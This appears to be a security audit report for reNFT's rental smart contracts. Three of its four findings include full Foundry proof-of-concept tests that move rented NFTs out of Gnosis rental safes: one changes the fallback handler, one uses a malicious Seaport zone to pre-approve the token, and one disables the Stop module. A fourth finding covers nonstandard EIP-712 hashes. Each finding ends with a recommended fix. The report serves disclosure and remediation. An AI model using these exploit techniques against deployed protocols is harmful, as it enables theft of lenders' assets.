reNFT - Beepidibop's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345

Vulnerability details

Guard: Guard Can Be Bypassed with Fallback Handlers

Guard:checkTransaction() does not check whether the user tx will change the Fallback Handler. Exploiters can change the Fallback Handler and use it to bypass the Guard policy.

This means the protocol will no longer be able to control a rental safe. Any protocol/lender assets within the safe is considered lost.

Here's Gnosis' implementation of Fallback Manager, the Fallback Manager calls the handler directly. So, if the handler is changed to the NFT's contract address, exploiters can use this trick to call transferFrom() directly, bypassing the Guard policy

Proof-of-Concept

Here's the PoC code, you can place it in test/unit/ChangeFallbackToBypassGuard.t.sol and run forge test --match-contract Change_Fallback_To_Bypass_Guard -vv It should return something like this:

// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.20;

  

import "forge-std/console.sol";

  

import {ISafe} from "@src/interfaces/ISafe.sol";

  

import {BaseTestWithoutEngine} from "@test/BaseTest.sol";

import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

import {RentalAssetUpdate, RentalId} from "@src/libraries/RentalStructs.sol";

import {RentalUtils} from "@src/libraries/RentalUtils.sol";

  

contract Change_Fallback_To_Bypass_Guard is BaseTestWithoutEngine {

    uint256 rentedTokenId;

  

    function setUp() public override {

        super.setUp();

  

        // mint the ERC721 to Alice's safe

        rentedTokenId = erc721s[0].totalSupply();

        erc721s[0].mint(address(alice.safe));

  

        // Create a rentalId array

        RentalAssetUpdate[] memory rentalAssets = new RentalAssetUpdate[](1);

        rentalAssets[0] = RentalAssetUpdate(

            RentalUtils.getItemPointer(

                address(alice.safe),

                address(erc721s[0]),

                rentedTokenId

            ),

            1

        );

  

        // Mark the rental as actively rented in storage

        _markRentalsAsActive(rentalAssets);

    }

  

    // helper function to mark rental IDs as active

    function _markRentalsAsActive(RentalAssetUpdate[] memory rentalAssets) internal {

        vm.prank(address(create));

        STORE.addRentals(keccak256(abi.encode("someRentalOrderHash")), rentalAssets);

    }

  

    function test_ChangeFallbackToBypassGuard() public {

        // check if the NFT is in the safe

        console.log("checking if the NFT is in the safe initially...");

        address whereIsNftBefore = erc721s[0].ownerOf(rentedTokenId);

        assertTrue(

            whereIsNftBefore == address(alice.safe),

            "Safe does not have the NFT initially!"

        );

        console.log("yep, it does");

  

        // change the fallback handler to one that changes guard on the safe

        _changeFallback();

  

        // transfer a rented NFT away from the safe

        _transferNftAway();

  

        // check if the NFT is still in the safe

        console.log("checking if the NFT is in the safe after...");

        address whereIsNftAfter = erc721s[0].ownerOf(rentedTokenId);

        assertTrue(

            whereIsNftAfter == address(alice.safe),

            "The NFT is stolen away from the safe!"

        );

    }

  

    function _changeFallback() public {

        console.log("changing fallback handler");

  

        // create safe transaction for changing the fallback manager

        bytes memory transaction = abi.encodeWithSignature(

            "setFallbackHandler(address)",

            address(erc721s[0])

        );

  

        // sign the safe transaction

        bytes memory transactionSignature = SafeUtils.signTransaction(

            address(alice.safe),

            alice.privateKey,

            address(alice.safe),

            transaction

        );

  

        // impersonate the safe owner

        vm.prank(alice.addr);

  

        // Execute the transaction on Alice's safe

        SafeUtils.executeTransaction(

            address(alice.safe),

            address(alice.safe),

            transaction,

            transactionSignature

        );

  

        // stop impersonating the safe owner

        vm.stopPrank();

    }

  

    function _transferNftAway() public {

        console.log("stealing NFT...");

  

        // using the fallback to call transfer the NFT

        address(alice.safe).call(

            abi.encodeWithSignature(

                "transferFrom(address,address,uint256)",

                address(alice.safe),

                address(1),

                0

            )

        );

    }

}

Tools Used

Foundry forge, project repo

Recommendation

Disallow changing Fallback Handler in Guard:checkTransaction()

Link To Affected Code

https://github.com/re-nft/smart-contracts/blob/main/src/libraries/RentalConstants.sol https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345

Assessed type

Access Control

Lines of code

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345 https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L733

Vulnerability details

Guard: Guard Can Be Bypassed By Batching the Lending Tx with a Malicious Tx

Seaport allows custom zone contracts to assert orders are valid with validateOrder(). However, this can be used to pre-approve NFTs in rental safes.

The exploit flow is like this:

1. Lender creates a normal lending order
2. Exploiter creates a malicious Seaport order
   1. The malicious order will call validateOrder() on a malicious zone contract that has a pre-signed Gnosis safe tx that calls approve() on the NFT contract
   2. All the NFTs are transferred before any validateOrder() is called, an exploiter can order it such that his exploit validateOrder() will be called before Creator:validateOrder().
   3. This means the NFT will be in the rental safe, but Creator hasn't registered the rental yet.
   4. The malicious zone contract then submits a pre-signed approve() tx. Guard:checkTransaction() is bypassed because Creator doesn't think the NFT is lent out yet. But approve() succeeds because the NFT is already in the rental safe.
3. The exploiter can then transfer the NFT out from the rental safe at any time.
   1. The transferring out can be done atomically by placing another malicious tx behind the reNFT lending tx.
   2. The PoC test split it in two txs so it's easier for the console logs to show the NFT reached the rental safe, Creator registered the rental, then the exploiter transferred the NFT out of the safe.

This means the protocol will no longer be able to control any rentals. Any assets in a rental listing can be stolen.

Here's Seaport's comments on when the validateOrder() calls are actually performed. In this case it's called within _assertRestrictedAdvancedOrderValidity(), after all the items have already been transferred in line 732

Proof-of-Concept

Here's the PoC code, you can place it in test/unit/PreApproveToBypassGuard.t.sol and run forge test --match-contract Preapprove_To_Bypass_Guard -vv It should return something like this:

// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.20;

  

import "forge-std/console.sol";

  

import {ISafe} from "@src/interfaces/ISafe.sol";

import {ZoneInterface} from "@src/interfaces/IZone.sol";

  

import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol";

  

import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol";

  

import {Seaport} from "@seaport-core/Seaport.sol";

import {

    Order,

    AdvancedOrder,

    FulfillmentComponent,

    Fulfillment,

    ItemType as SeaportItemType,

    CriteriaResolver,

    OfferItem,

    ConsiderationItem,

    OrderComponents,

    OrderType as SeaportOrderType

} from "@seaport-types/lib/ConsiderationStructs.sol";

import {ZoneParameters} from "@seaport-core/lib/rental/ConsiderationStructs.sol";

import {

    AdvancedOrderLib,

    ConsiderationItemLib,

    FulfillmentComponentLib,

    FulfillmentLib,

    OfferItemLib,

    OrderComponentsLib,

    OrderLib,

    OrderParametersLib,

    SeaportArrays,

    ZoneParametersLib

} from "@seaport-sol/SeaportSol.sol";

  

import {BaseTest} from "@test/BaseTest.sol";

import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

import {RentalAssetUpdate, RentalId} from "@src/libraries/RentalStructs.sol";

import {RentalUtils} from "@src/libraries/RentalUtils.sol";

import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";

  

contract Preapprove_To_Bypass_Guard is BaseTest {

    using OfferItemLib for OfferItem;

    using ConsiderationItemLib for ConsiderationItem;

    using OrderComponentsLib for OrderComponents;

    using OrderLib for Order;

    using ECDSA for bytes32;

  

    address public maliciousZone;

  

    function setUp() public override {

        super.setUp();

    }

  

    // in this example, Alice is the victim, Bob and Carol are the exploiter's addresses

    function test_PreapproveToBypassGuard() public {

        // setup malicious zone so we can preapprove the NFT to Bob's address

        _setupPreapprove();

  

        // approve and rent the NFT from Alice

        _approveAndRentNft();

  

        // check if the NFT is in the safe

        console.log("checking if the NFT is in the safe initially...");

        address whereIsNftBefore = erc721s[0].ownerOf(0);

        assertTrue(

            whereIsNftBefore == address(bob.safe),

            "Safe does not have the NFT initially!"

        );

        console.log("yep, it is");

  

        // transfer a rented NFT away from the safe

        _transferNftAway();

  

        // check if the NFT is still in the safe

        console.log("checking if the NFT is in the safe after...");

        address whereIsNftAfter = erc721s[0].ownerOf(0);

        assertTrue(

            whereIsNftAfter == address(bob.safe),

            "The NFT is stolen away from the safe!"

        );

    }

  

    function _setupPreapprove() public {

        console.log("preparing the malicious zone for preapproval...");

  

        // create safe transaction for preapproval

        bytes memory transaction = abi.encodeWithSignature(

            "approve(address,uint256)",

            bob.addr,

            0

        );

  

        // sign the safe transaction

        bytes memory transactionSignature = SafeUtils.signTransaction(

            address(bob.safe),

            bob.privateKey,

            address(erc721s[0]),

            transaction

        );

  

        maliciousZone = address(

            new MaliciousZone(

                bob.addr,

                address(bob.safe),

                address(erc721s[0]),

                transaction,

                transactionSignature,

                seaport

            )

        );

    }

  

    function _approveAndRentNft() public {

        console.log("renting and stealing an NFT from Alice...");

  

        _createAliceOrder();

        _createExploitOrder();

  

        // creating seaport orders

        AdvancedOrder[] memory orders = new AdvancedOrder[](2);

  

        orders[0] = ordersToFulfill[ordersToFulfill.length - 1].advancedOrder; // exploit

        orders[1] = ordersToFulfill[ordersToFulfill.length - 2].advancedOrder; // alice

  

        // offer componenets

        FulfillmentComponent[] memory offerComponents0 = new FulfillmentComponent[](1);

        offerComponents0[0] = FulfillmentComponent(0, 0);

        FulfillmentComponent[] memory offerComponents1 = new FulfillmentComponent[](1);

        offerComponents1[0] = FulfillmentComponent(1, 0);

        FulfillmentComponent[][]

            memory offerComponentsArray = new FulfillmentComponent[][](2);

        offerComponentsArray[0] = offerComponents0;

        offerComponentsArray[1] = offerComponents1;

  

        // consideration componenets

        FulfillmentComponent[]

            memory considerationComponents0 = new FulfillmentComponent[](1);

        considerationComponents0[0] = FulfillmentComponent(0, 0);

        FulfillmentComponent[]

            memory considerationComponents1 = new FulfillmentComponent[](1);

        considerationComponents1[0] = FulfillmentComponent(1, 0);

        FulfillmentComponent[][]

            memory considerationComponentsArray = new FulfillmentComponent[][](2);

        considerationComponentsArray[0] = considerationComponents0;

        considerationComponentsArray[1] = considerationComponents1;

  

        console.log("calling Seaport:fulfillAvailableAdvancedOrders()...");

        vm.startPrank(bob.addr);

        seaport.fulfillAvailableAdvancedOrders(

            orders,

            new CriteriaResolver[](0),

            offerComponentsArray,

            considerationComponentsArray,

            conduitKey,

            address(bob.safe),

            2

        );

        vm.stopPrank();

  

        // assert that the ERC721 is in the rental wallet of the fulfiller

        assertEq(erc721s[0].ownerOf(0), address(bob.safe));

    }

  

    function _createAliceOrder() public {

        console.log("creating alice's normal lending order...");

  

        // create a BASE order

        createOrder({

            offerer: alice,

            orderType: OrderType.BASE,

            erc721Offers: 1,

            erc1155Offers: 0,

            erc20Offers: 0,

            erc721Considerations: 0,

            erc1155Considerations: 0,

            erc20Considerations: 1

        });

  

        // finalize the order creation

        (

            Order memory aliceOrder,

            bytes32 orderHash,

            OrderMetadata memory metadata

        ) = finalizeOrder();

  

        // create an order fulfillment

        createOrderFulfillment({

            _fulfiller: bob,

            order: aliceOrder,

            orderHash: orderHash,

            metadata: metadata

        });

  

        resetOrderToCreate();

    }

  

    function _createExploitOrder() public {

        console.log("creating malicious order...");

  

        // create an exploit order

        // Define a standard OrderComponents struct with the malicious zone

        OrderComponentsLib

            .empty()

            .withOrderType(SeaportOrderType.FULL_RESTRICTED)

            .withZone(address(maliciousZone))

            .withStartTime(block.timestamp)

            .withEndTime(block.timestamp + 100)

            .withSalt(123456789)

            .withConduitKey(conduitKey)

            .saveDefault("malicious");

  

        orderToCreate.offerer = carol;

  

        orderToCreate.offerItems.push(

            OfferItemLib

                .empty()

                .withItemType(SeaportItemType.ERC721)

                .withToken(address(erc721s[1]))

                .withIdentifierOrCriteria(usedOfferERC721s[1])

                .withStartAmount(1)

                .withEndAmount(1)

        );

  

        // mint an erc721 to the offerer

        erc721s[1].mint(orderToCreate.offerer.addr);

  

        // update the used token so it cannot be used again in the same test

        usedOfferERC721s[1]++;

  

        // create the consideration item

        orderToCreate.considerationItems.push(

            ConsiderationItemLib

                .empty()

                .withRecipient(address(ESCRW))

                .withItemType(SeaportItemType.ERC20)

                .withToken(address(erc20s[0]))

                .withStartAmount(100)

                .withEndAmount(100)

        );

  

        orderToCreate.metadata.orderType = OrderType.BASE;

        orderToCreate.metadata.rentDuration = 500;

        orderToCreate.metadata.emittedExtraData = new bytes(0);

  

        OrderComponents memory orderComponents = OrderComponentsLib

            .fromDefault("malicious")

            .withOfferer(carol.addr)

            .withOffer(orderToCreate.offerItems)

            .withConsideration(orderToCreate.considerationItems)

            .withCounter(seaport.getCounter(carol.addr));

  

        bytes32 exploitOrderHash = seaport.getOrderHash(orderComponents);

  

        bytes memory signature = _signOrder(carol.privateKey, exploitOrderHash);

  

        Order memory exploitOrder = OrderLib

            .empty()

            .withParameters(orderComponents.toOrderParameters())

            .withSignature(signature);

  

        // create an order fulfillment

        createOrderFulfillment({

            _fulfiller: bob,

            order: exploitOrder,

            orderHash: exploitOrderHash,

            metadata: orderToCreate.metadata

        });

    }

  

    function _signOrder(

        uint256 signerPrivateKey,

        bytes32 orderHash

    ) private view returns (bytes memory signature) {

        // fetch domain separator from seaport

        (, bytes32 domainSeparator, ) = seaport.information();

  

        // sign the EIP-712 digest

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(

            signerPrivateKey,

            domainSeparator.toTypedDataHash(orderHash)

        );

  

        // encode the signature

        signature = abi.encodePacked(r, s, v);

    }

  

    function _transferNftAway() public {

        console.log("stealing NFT from the rental safe...");

  

        // impersonate the safe owner

        vm.prank(bob.addr);

  

        // transfer the pre-approved NFT away

        erc721s[0].transferFrom(address(bob.safe), bob.addr, 0);

    }

}

  

contract MaliciousZone {

    address public bob;

    address public bobSafe;

    address public erc721;

    bytes public transaction;

    bytes public transactionSignature;

    Seaport public seaport;

  

    constructor(

        address _bob,

        address _bobSafe,

        address _erc721,

        bytes memory _transaction,

        bytes memory _transactionSignature,

        Seaport _seaport

    ) {

        bob = _bob;

        bobSafe = _bobSafe;

        erc721 = _erc721;

        transaction = _transaction;

        transactionSignature = _transactionSignature;

        seaport = _seaport;

    }

  

    function validateOrder(

        ZoneParameters calldata zoneParams

    ) external returns (bytes4 validOrderMagicValue) {

        // Execute the approval tx on Bob's safe

        SafeUtils.executeTransaction(

            address(bobSafe),

            address(erc721),

            transaction,

            transactionSignature

        );

  

        // Return the selector of validateOrder as the magic value.

        validOrderMagicValue = ZoneInterface.validateOrder.selector;

    }

}

Tools Used

Foundry forge, project repo

Recommendation

Clear approvals on a newly registered NFT. You can add it to Create:validateOrder().

OR

Have a contract receive the NFT before sending it to the rental safe after Create:validateOrder() is called. Since this exploit can only happen after the NFT is in the rental safe but before Create:validateOrder() is called.

Link To Affected Code

https://github.com/re-nft/smart-contracts/blob/main/src/policies/Guard.sol#L309-L345 https://github.com/re-nft/smart-contracts/blob/main/src/policies/Create.sol#L733

Assessed type

Access Control

Lines of code

https://github.com/re-nft/smart-contracts/blob/main/src/libraries/RentalConstants.sol#L62 https://github.com/re-nft/smart-contracts/blob/main/test/unit/Guard/CheckTransaction.t.sol#L366-L370

Vulnerability details

Guard: checkTransaction() Will Allow Disabling Non-Whitelisted Modules Such as the Stop Module

The gnosis_safe_disable_module_offset in RenstalConstants.sol points to prevModule instead of module. Guard:checkTransaction() currently checks if the prevModule is the whitelisted module when it should be checking if module is the whitelisted one.

This can disable the Stop module by enabling a whitelisted module right after it. This is because prevModule is actually the module enabled directly after module in Gnosis Safe's implementation.

So as long as reNFT whitelists any module, even non-malicious ones, the Stop module can be removed from Rental Safes.

The Stop module is in charge of reclaiming the NFT for the lender. The lent NFT can't be reclaimed without it.

Here's the current implementation for byte offsets in RenstalConstants.sol. The function signature has two fields: disableModule(address prevModule, address module). So the offset should point to the second input (0x44 instead of 0x24). There's an extra 0x20 because of the way _loadValueFromCalldata() is implemented (0x24 would be the first input instead of 0x04 because the calldata is processed as bytes memory).

And here's the Gnosis Safe implementation confirming the input order of prevModule and module.

This error wasn't picked up because CheckTransaction.t.sol assumed the ABI for disableModule(address,address) accepted only one input when it should have two.

Proof-of-Concept

Here's the PoC code, you can place it in test/unit/DisableStopPoc.t.sol and run forge test --match-contract Disable_Top_PoC_Test -vv It should return something like this:

// SPDX-License-Identifier: BUSL-1.1

pragma solidity ^0.8.20;

  

import "forge-std/console.sol";

  

import {ISafe} from "@src/interfaces/ISafe.sol";

  

import {BaseTestWithoutEngine} from "@test/BaseTest.sol";

import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";

  

contract Disable_Top_PoC_Test is BaseTestWithoutEngine {

    // test addresses

    address constant EXTENSION = TEST_ADDR_2;

  

    function setUp() public override {

        super.setUp();

    }

  

    function test_DisableStopModule() public {

        // check if Stop is a module for the safe

        console.log("checking if the safe has the Stop module initially...");

        (, bytes memory data) = address(alice.safe).staticcall(

            abi.encodeWithSignature("isModuleEnabled(address)", address(stop))

        );

        assertTrue(abi.decode(data, (bool)), "Safe does not have Stop enabled initially!");

        console.log("yep, it does");

  

        // the project whitelists any module

        _whitelistNewModule();

  

        // enable the whitelisted module on the safe as the safe's owner

        _enableWhitelistedModuleOnSafe();

  

        // diable the newly enabled module as the safe's owner

        _disableStopModule();

  

        // check if Stop is still a module for the safe

        console.log("checking if the safe has the Stop module afterwards...");

        (, data) = address(alice.safe).staticcall(

            abi.encodeWithSignature("isModuleEnabled(address)", address(stop))

        );

        assertTrue(abi.decode(data, (bool)), "Safe's Stop has been disabled!");

    }

  

    function _whitelistNewModule() public {

        console.log("whitelisting a new module as admin...");

        // impersonate the admin admin

        vm.prank(deployer.addr);

  

        // enable this address to be added as a module by rental safes

        admin.toggleWhitelistExtension(EXTENSION, true);

  

        // assert the address is whitelisted

        assertTrue(STORE.whitelistedExtensions(EXTENSION));

  

        // stop impersonating the admin admin

        vm.stopPrank();

    }

  

    function _enableWhitelistedModuleOnSafe() public {

        console.log("safe owner enabling the new module...");

  

        // create safe transaction for enabling a module

        bytes memory transaction = abi.encodeWithSelector(

            ISafe.enableModule.selector,

            address(EXTENSION)

        );

  

        // sign the safe transaction

        bytes memory transactionSignature = SafeUtils.signTransaction(

            address(alice.safe),

            alice.privateKey,

            address(alice.safe),

            transaction

        );

  

        // impersonate the safe owner

        vm.prank(alice.addr);

  

        // Execute the transaction on Alice's safe

        SafeUtils.executeTransaction(

            address(alice.safe),

            address(alice.safe),

            transaction,

            transactionSignature

        );

  

        // stop impersonating the safe owner

        vm.stopPrank();

    }

  

    function _disableStopModule() public {

        console.log("safe owner disabling the stop module...");

  

        // create safe transaction for disabling the stop module

        bytes memory transaction = abi.encodeWithSelector(

            ISafe.disableModule.selector,

            address(EXTENSION),

            address(stop)

        );

  

        // sign the safe transaction

        bytes memory transactionSignature = SafeUtils.signTransaction(

            address(alice.safe),

            alice.privateKey,

            address(alice.safe),

            transaction

        );

  

        // impersonate the safe owner

        vm.prank(alice.addr);

  

        // Execute the transaction on Alice's safe

        SafeUtils.executeTransaction(

            address(alice.safe),

            address(alice.safe),

            transaction,

            transactionSignature

        );

  

        // stop impersonating the safe owner

        vm.stopPrank();

    }

}

Tools Used

Foundry forge, project repo

Recommendation

Correct gnosis_safe_disable_module_offset to 0x44 in RentalConstant.sol

Link To Affected Code

https://github.com/re-nft/smart-contracts/blob/main/src/libraries/RentalConstants.sol#L62 https://github.com/re-nft/smart-contracts/blob/main/test/unit/Guard/CheckTransaction.t.sol#L366-L370

Assessed type

Invalid Validation

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L394-L400 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L406

Vulnerability details

Signer: Some EIP-712 Type Hashes Don't Follow the Standard

EIP-712 specifies that

If the struct type references other struct types (and these in turn reference even more struct types), then the set of referenced struct types is collected, sorted by name and appended to the encoding. An example encoding is Transaction(Person from,Person to,Asset tx)Asset(address token,uint256 amount)Person(address wallet,string name). link

There are a few type hashes that don't include all of the referenced struct type strings or don't have them in the right order. This can mean dapps that implement the correct hashes won't be able to interact with the protocol.

Here is a list of type strings that don't follow the standard:

• rentPayloadTypeHash - missing Hook, structs not ordered alphabetically link
• orderMetadataTypeHash - missing Hook link

Recommendation

Correct the type hashes.

Link To Affected Code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L394-L400 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L406

Assessed type

Context